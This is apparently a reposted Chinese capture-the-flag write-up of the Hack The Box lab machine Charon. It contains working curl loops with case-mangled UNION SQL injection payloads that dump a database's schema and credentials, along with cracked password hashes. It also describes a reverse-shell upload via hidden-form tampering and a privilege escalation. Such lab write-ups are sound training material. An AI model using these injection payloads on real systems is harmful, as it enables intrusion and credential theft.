HTB-靶机-Charon

我只是一个虾纸丫 提交于 2020-12-29 10:55:22

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.31

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令

autorecon 10.10.10.31 -o ./charon-autorecon

最终的扫描结果

还看了使用gobuster跑的目录,没发现有价值的目录,逐改下参数,再使用ffuf和gobuster跑一下

ffuf -u http://10.10.10.31/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.10.10.31/cmsdata -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -o bmfx-charon.gobusters -t 100

但是访问cmsdata显示跳转到403,所以再次使用gobuster进行子目录爆破,发现如下信息

最终访问http://10.10.10.31/cmsdata/login.php 

试了下弱口令没有成功,看到有个忘记密码的功能随便写个邮件地址,然后burpsuite抓包,通过简单的测试发现存在sql注入,这靶机难度还是有的,过滤union和UNION查询语句关键字,需要通过UNion进行手工注入测试,经过漫长的测试,最终确认可测试注入脚本,如下:

跑出目标靶机的用户名和密码的格式
for i in $(seq 0 100); do
payload
="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(TABLE_SCHEMA, ':', TABLE_NAME, ':', COLUMN_NAME, '@b.com') FROM INFORMATIoN_SCHEMA.COLUMNS WHERE TABLE_SCHEMA != 'InformatiOn_Schema' LIMIT 1 OFFSET $i-- -"
curl
-s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*b.com'
done

得到了邮件名称信息格式
__username_
__password_

修改脚本获取账号和密码hash

for i in $(seq 0 300); do
payload
="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
curl
-s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
done

执行完成之后得到账号和密码hash
super_cms_adm:0b0689ba94f94533400f4decd87fa260@b.com -- tamarro
decoder:5f4dcc3b5aa765d61d8327deb882cf99@b.com -- password

综合上述信息得出如下信息:

用户名:super_cms_adm
密码:tamarro

登录成功之后是如下页面

看到有上传图片的地方,尝试了正常图片和非正常图片都无法上传成功,在上传点出通过查看网页源代码发现如下信息:

猜测那个name是base64编码,通过base64解码上面隐藏的表单

根据上述得到的记过,可以通过更改前端页面隐藏表单信息进行上传格式为php的文件,从而反弹shell,这里是需要准备好反弹代码,后缀改成jpg

上述更改前端代码也是可以通过burpsuite拦截进行修改然后操作,都可以完成

反弹shell成功,成功之后本以为可以直接读取user.txt发现没有权限还是需要提权到另一个用户decoder,这里使用nc将文件传到kali本地,然后使用工具 https://github.com/Ganapati/RsaCtfTool  进行破解

开始破解

python3 RsaCtfTool.py --publickey decoder.pub --uncipherfile pass.crypt

得到密码:nevermindthebollocks 使用此密码登录目标靶机用户decoder

使用LinEnum.sh脚本枚举目标靶机可以提权的信息,找到一个二进制文件

执行了一把提示需要cmd命令,使用strings命令查看有发现带/bin/ls命令,如果懂二进制,可以分析就知道怎么回事,这里我直接读取root.txt

可以按照上述两种形式来读取root.txt


本文分享自微信公众号 - 白帽安全技术复现(baimaofuxian)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!